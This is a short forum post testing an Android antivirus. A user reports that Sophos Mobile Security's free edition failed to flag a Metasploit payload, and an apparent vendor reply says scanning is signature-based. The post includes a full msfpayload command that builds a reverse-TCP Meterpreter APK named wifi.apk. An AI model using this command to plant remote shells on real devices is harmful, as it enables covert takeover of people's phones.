Free Sophos Mobile Security can't detect a metasploit payload

Hi, today I have been testing sophos mobile security - free edition. 

Well,
I create a well-know "trojan" with metasploit:
msfpayload android/meterpreter/reverse_tcp LHOST=192.168.1.121 LPORT=4444 R > /root/Desktop/wifi.apk
I installed it on my cell phone (android with free sophos mobile security 3.1.1.1245)
configure metasploit with multihandler and of course get a reverse meterprete shell on metasploit.
And sophos mobile security didn't alert me about it.
It shows: "MainActivity successfully scanned / MainActivity is clean"
You can find more information about it on:
So, Why Sophos mobile security can't alert about a well-know and public "trojan"?

  • Hi,

    speaking with development we currently do not provide a full detection based on behavior of applicaitons.

    Our scanner is based on signatures of apps. Therefore, it might be possible that an app is not recognized as malicious.

    It is currently planned to implement a full AV feature in a future version (hopefully) later this year to provide enhanced protection.

    Best regards
